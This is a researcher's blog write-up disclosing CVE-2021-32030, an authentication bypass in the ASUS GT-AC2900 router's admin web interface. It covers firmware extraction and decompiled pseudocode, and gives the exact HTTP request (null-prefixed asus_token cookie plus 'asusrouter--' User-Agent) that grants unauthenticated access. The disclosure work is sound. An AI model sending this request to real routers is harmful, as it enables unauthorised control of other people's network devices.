CVE-2021-32030: ASUS GT-AC2900 Authentication Bypass
In a previous blog post I had presented a creative method to resurrect a bricked device, in this post I will go over a vulnerability discovered within the running firmware.
(Atredis has also published an advisory on the vulnerability discussed in this post.)
How it started
When assessing a device, one of the first steps is to gain access to a copy of the software running on the device to assist in the process of understanding how it works. Firmware can be retrieved for a target either by downloading it from the manufacturer or extracting it from the target. In this case, the device manufacturer (ASUS) provides firmware updates. The firmware running on the target at the time of testing can be accessed at the following location:
https://dlcdnets.asus.com/pub/ASUS/wireless/GT-AC2900/FW_GT_AC2900_300438482072.zip
The decompressed CFE image can be easily extracted using the excellent binwalk tool (ensure that ubi_reader and jefferson dependencies are installed first):
binwalk -e GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
144300 0x233AC SHA256 hash constants, little endian
144572 0x234BC CRC32 polynomial table, little endian
276396 0x437AC SHA256 hash constants, little endian
276668 0x438BC CRC32 polynomial table, little endian
408492 0x63BAC SHA256 hash constants, little endian
408764 0x63CBC CRC32 polynomial table, little endian
540588 0x83FAC SHA256 hash constants, little endian
540860 0x840BC CRC32 polynomial table, little endian
672684 0xA43AC SHA256 hash constants, little endian
672956 0xA44BC CRC32 polynomial table, little endian
804780 0xC47AC SHA256 hash constants, little endian
805052 0xC48BC CRC32 polynomial table, little endian
1048576 0x100000 JFFS2 filesystem, little endian
4456448 0x440000 UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
ls -alh _GT-AC2900_3.0.0.4_384_82072-gc842320_cferom_ubi.w.extracted/
total 130M
drwxrwxr-x 4 chris chris 4.0K Jan 21 20:11 .
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:10 ..
-rw-rw-r-- 1 chris chris 67M Jan 21 20:10 100000.jffs2
-rw-rw-r-- 1 chris chris 64M Jan 21 20:11 440000.ubi
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 jffs2-root
drwxrwxr-x 3 chris chris 4.0K Jan 21 20:11 ubifs-root
Normally this would be the point where you would start digging for bugs; however, ASUS provides a nice GPL archive for their devices:
https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AC2900/GPL_RT_AC2900_300438640451.zip
The archive contains just about everything you would need to build a working firmware image. The main caveat is that ASUS ships the interesting parts as prebuilt objects instead of the actual source. With that small detour out of the way, we can get back to the bug.
How it’s going
The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token
) to manage session states. While auditing the session handling functionality, I found that the validation of this cookie fails when the following occurs:
The submitted
asus_token
starts with a Null (0x0)The request User-Agent matches an internal service UA (
asusrouter--
)The device has not been configured with an
ifttt_token
(default state)
This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
The following shows that the same request fails in the case an invalid asus_token
is provided:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"error_status":"2"
}
If a Null character is placed at the front of the asus_token
, the request will be incorrectly identified as being authenticated, as seen in the following request and response:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
How it’s actually going
Authentication and validation of requests occurs within the function handle_request
, specifically through the function auth_check
, which can be seen in the following code excerpt from the GPL source archive:
router/httpd/httpd.c - handle_request
static void
handle_request(void)
{
...
...
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); // <---- call to auth_check in web_hook.o
if (auth_result != 0)
{
if(strcasecmp(method, "post") == 0 && handler->input) //response post request
while (cl--) (void)fgetc(conn_fp);
send_login_page(fromapp, auth_result, url, file, auth_check_dt, add_try);
return;
}
...
...
The auth_check
function is implemented within a compiled object (web_hook.o
) which validates the received session identifier is valid. The process is broken down to the following items at a high level:
Check that the request cookies contain an
asus_token
Check if the extracted
asus_token
exists within the current session listCheck if the extracted
asus_token
is a stored service token (IFTTT/Alexa)
The following decompiled pseudocode shows the underlying code responsible for carrying out this process:
router/httpd/prebuild/web_hook.o - auth_check
int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
void *v7; // r0
bool v8; // cc
char *v9; // r5
int *v10; // r0
int v11; // r5
int *v12; // r4
int v13; // r0
int v14; // r0
bool v15; // cc
char *v16; // r5
int *v17; // r0
int result; // r0
char *pAsusTokenKeyStart; // r0
char *pAsusTokenValueStart; // r9
size_t space_count; // r0
unsigned int v22; // r2
int *v23; // r0
int v24; // r5
int *v25; // r4
int v26; // [sp+10h] [bp-50h]
char user_token[32]; // [sp+1Ch] [bp-44h] BYREF
v7 = memset(user_token, 0, sizeof(user_token));
v26 = cur_login_ip_type;
...
...
...
result = auth_passwd;
if ( auth_passwd )
{
// check that the request has a cookie header set and the asus_token cookie exists
// example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
{
// check if this is the first access for initial setup - this is skipped
if ( !is_firsttime() ) // <-----
{
add_try = 0;
return 1;
}
goto PAGE_REDIRECT;
}
// find the location of the asus_token value
pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
// set the user_token variable to the extracted value from the user request
snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
// validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
The check_ifttt_token
function compares the user submitted value to the stored configuration value currently stored in the systems NVRAM configuration. The following shows the decompiled pseudocode for this function:
router/httpd/prebuild/web_hook.o - check_ifttt_token
int __fastcall check_ifttt_token(const char *asus_token)
{
char *ifft_token; // r0
char *v3; // r0
int result; // r0
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
The function nvram_safe_get
is used to retrieve the stored iftt_token
value from the systems NVRAM configuration, which can be seen in the following decompiled pseudocode:
router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
char *result; // r0
result = nvram_get(setting_key);
if ( !result )
result = "\0";
return result;
}
In the case the NVRAM configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token
function will return true (1), as seen in the following pseudocode:
router/httpd/prebuild/web_hook.o - check_ifttt_token
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
{
// if the IFTTT_ALEXA log file is enabled, log successful check message
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
// Return 1
result = 1; // <----- set result value
}
else// <----- skipped
{
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File(
"/tmp/IFTTT_ALEXA.log",
"[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
"check_ifttt_token",
767,
asus_token);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
{
v3 = nvram_safe_get("ifttt_token");
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
}
result = 0;
}
return result; // <----- return 1
}
Continuing back within auth_check
, the check_ifttt_token
return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:
router/httpd/prebuild/web_hook.o - auth_check
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
{
if ( !is_firsttime() )
{
if ( !strcmp(last_fail_token, user_token) )
{
add_try = 0;
}
else
{
strlcpy(last_fail_token, user_token, 32);
add_try = 1;
}
v23 = _errno_location();
v24 = *v23;
v25 = v23;
if ( f_exists("/tmp/HTTPD_DEBUG") > 0 || nvram_get_int("HTTPD_DBG") > 0 )
asusdebuglog(6, "/jffs/HTTPD_DEBUG.log", 0, 1, 0, "[%s(%d)]:AUTHFAIL\n\n", "auth_check", 1054);
result = 2;
*v25 = v24;
return result;
}
PAGE_REDIRECT:
page_default_redirect(fromapp_flag, url);
return 0;
}
...
...
return result;
}
By monitoring the system logs confirmation of successful IFTTT/ALEXA login token processing can be seen when submitting a malformed asus_token
:
admin@GT-AC2900-3711:/jffs# tail -f /tmp/IFTTT_ALEXA.log
[check_ifttt_token:(1014)][HTTPD] IFTTT/ALEXA long token success.
How it ends
ASUS released an updated firmware image that addresses this vulnerability that can be downloaded from their support site.